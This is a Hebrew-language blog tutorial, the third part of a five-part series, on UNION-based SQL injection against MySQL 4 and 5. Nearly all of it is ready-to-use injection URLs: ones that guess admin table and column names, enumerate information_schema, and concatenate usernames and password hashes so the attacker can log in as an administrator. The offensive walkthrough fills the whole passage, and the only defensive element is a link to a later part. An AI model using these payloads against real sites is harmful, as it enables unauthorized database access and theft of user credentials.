מדריך: הזרקות SQL (חלק 3)

עכשיו החיים נעשים קשים יותר…

>> אם הגרסא של הMySQL היא 4 (אם היא 5 – רדו למטה)

נחזיר בשורת הכתובת את המספר החסר (אצלנו זה היה 2) ונכניס גם את המילים from ואז את שם הטבלה.

http://www.domain.com/?id=2 union all select 1,2,3, from admin

במקרה הזה (גרסא 4) תצטרכו לנחש את שם הטבלה ואת שמות הטורים ברוב המקרים. שמות טבלאות נפוצים (מאוד) הם:

…user/s, member/s, admin/s

ושמות נפוצים לטורים הם:

user/s, username,user_name,usr, password, pwd, pass, passwd וכו'.

אם לא קיבלתם שום שגיאה, (ואתם שוב רואים את המסך המוכר עם אחד המספרים על המסך), סימן שניחשתם נכון והטבלה קיימת. אם לא, פשוט צריך להמשיך לנחש…

אחרי שמצאנו את הטבלה (נניח והיא admin), אנחנו מתחילים לנחש את שם הטור. במקום המספר שנמצא על המסך (בדוגמא שלנו זה 2), נתחיל לנחש את שם הטור, ככה:

http://www.domain.com/?id=2 union all select 1,username, 3, from admin

במידה וניחשנו נכון, צריך להופיע לנו על המסך שם המשתמש. עכשיו עושים את אותו הדבר עם הסיסמא ומנחשים את שם הטור:

http://www.domain.com/?id=2 union all select 1,password, 3, from admin

אם יש שגיאה, אז מנחשים משהו אחר. למשל pwd או כל קיצור אחר שיכול להיות. אם ניחשנו נכון, צריכה להופיע לנו הסיסמא על המסך.

עכשיו יכול להיות שהיא תהיה מוצפנת (בעזרת פונקציית גיבוב כמו md5).

בשביל לסדר את זה בצורה נוחה, נשתמש בפונקציה ()concat שבעצם מחברת בין מחרוזות. נחבר בין מחרוזת שם המשתמש, התו נקודותיים (:) והסיסמא, כך:

http://www.domain.com/?id=2 union all select 1,concat(username,0x3a,password), 3, from admin

ועכשיו אפשר להיכנס בתור משתמש כל יכול מנהל וכו'.

>> במידה וגרסאת הMySQL היא 5

אז נשתמש בטבלת information_schema.tables המסופקת עם הגרסא החדשה, שמכילה את כל שמות הטבלאות. נכתוב בשורת הכתובת:

http://www.domain.com/?id=2 union all select 1,table_name, 3, from information_schema.tables

אנחנו אמורים לראות את שמות כל הטבלאות במסד הנתונים.

נסדר טיפה את התוצאות, בכך שניקח מהן רק תוצאה אחת, ונתחיל מהתוצאה ה-0. כלומר, רק התוצאה הראשונה:

http://www.domain.com/?id=2 union all select 1,table_name, 3, from information_schema.tables limit 0,1

במידה והטבלה שלנו לא מספקת, אז אפשר תמיד להמשיך ולהגדיל את המספרים בlimit – כלומר, לקחת תוצאה אחת החל מהתוצאה השלישית (3,1) או לקחת שלוש תוצאות החל מהתוצאה הרביעית (4,3) וכו', עד שאנחנו מגיעים למשהו מועיל כמו admins או poll_users וכו'.

בשביל לגלות את שם הטור, נשתמש באותה שיטה:

http://www.domain.com/?id=2 union all select 1,column_name, 3, from information_schema.columns limit 0,1

וכו', עד שאנחנו יודעים גם את שם הטור.

נניח ונרצה להציג רק את הטורים של טבלה ספציפית (נקרא לה users, למשל), נכניס את השורה הבאה (עם השינויים המתאימים כמובן):

http://www.domain.com/?id=2 union all select 1,column_name, 3, from information_schema.columns where table_name='users'

ונניח שמצאנו את שם הטבלה ואת שמות הטורים, כל מה שנותר לנו לעשות זה לחבר את הטורים יחדיו עם הפונקציה ()concat, כמו שהוסבר במקטע לגרסא 4:

http://www.domain.com/?id=2 union all select 1,concat(username,0x3a,password), 3, from admin

ויש לנו שם משתמש וסיסמא…

תגובה אחת ל “מדריך: הזרקות SQL (חלק 3)”

  1. פוסט זה הוא חלק ממדריך בן חמישה חלקים.
    לחלק הראשון | לחלק השני |לחלק השלישי | לחלק הרביעי – הזרקה עיוורת | לחלק החמישי – התגוננות

הוסף תגובה